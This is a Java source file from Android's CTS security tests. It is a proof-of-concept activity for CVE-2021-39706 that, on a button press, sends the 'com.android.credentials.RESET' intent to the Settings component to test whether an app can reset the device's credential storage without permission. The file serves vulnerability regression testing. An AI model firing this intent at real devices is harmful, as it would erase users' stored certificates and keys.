blob: 7d112f2f06a4164185eb2c5b07c10fbe83712dd7 [file] [log] [blame]
/*
* Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.security.cts.CVE_2021_39706;
import static org.junit.Assume.assumeNoException;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import androidx.test.InstrumentationRegistry;
public class PocActivity extends Activity {
public static boolean checkIsCar() {
Context context = InstrumentationRegistry.getInstrumentation().getContext();
PackageManager pm = context.getPackageManager();
return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button button = (Button) findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
credentialStorageReset();
}
});
}
private void credentialStorageReset() {
boolean isCar = checkIsCar();
Intent intent = new Intent("com.android.credentials.RESET");
String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
: getResources().getString(R.string.settingsPkg);
String cls = isCar ? getResources().getString(R.string.certClsCar)
: getResources().getString(R.string.certCls);
intent.setClassName(pkg, cls);
try {
startActivity(intent);
} catch (Exception e) {
assumeNoException(e);
}
}
}